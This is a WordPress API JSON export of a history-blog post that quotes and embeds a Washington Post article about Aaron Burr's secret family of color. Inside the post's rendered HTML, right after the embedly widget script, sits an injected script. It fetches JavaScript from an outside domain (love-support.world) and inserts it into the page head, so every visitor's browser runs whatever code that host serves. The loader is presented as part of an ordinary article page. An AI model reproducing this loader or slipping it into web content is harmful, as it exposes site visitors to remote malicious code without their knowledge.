{"id":432,"date":"2019-08-24T22:25:06","date_gmt":"2019-08-25T05:25:06","guid":{"rendered":"https:\/\/historynet.net\/?p=432"},"modified":"2019-08-24T22:25:06","modified_gmt":"2019-08-25T05:25:06","slug":"washington-post-aaron-burr-had-a-secret-family-of-color-new-research-shows","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2019\/08\/24\/washington-post-aaron-burr-had-a-secret-family-of-color-new-research-shows\/","title":{"rendered":"Washington Post: Aaron Burr  had a secret family of color, new research shows"},"content":{"rendered":"<h2 class=\"deck\" data-pb-field=\"subheadlines.basic\">The vice president is best known for killing rival Alexander Hamilton in an 1804 duel. But he was also a notorious rake, historians say.<\/h2>\n<hr \/>\n<p>&nbsp;<\/p>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.washingtonpost.com\/history\/2019\/08\/24\/aaron-burr-villain-hamilton-had-secret-family-color-new-research-shows\/\">Aaron Burr &#8211; villain of &#8216;Hamilton&#8217; &#8211; had a secret family of color, new research shows<\/a><\/h4>\n<p>August 24 at 1:20 PM Within a week of her arrival at Princeton University, Sherri Burr received a puzzling phone call. The caller, another student, said Sherri was invited to a Burr family meeting &#8211; &#8220;Burr&#8221; as in Aaron Burr, the third vice president of the United States and villain of &#8220;Hamilton,&#8221; the astronomically popular musical.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The vice president is best known for killing rival Alexander Hamilton in an 1804 duel. But he was also a notorious rake, historians say. &nbsp; Aaron Burr &#8211; villain of &#8216;Hamilton&#8217; &#8211; had a secret family of color, new research shows August 24 at 1:20 PM Within a week of her arrival at Princeton University, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":433,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-432","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/432","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=432"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/432\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=432"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=432"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=432"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}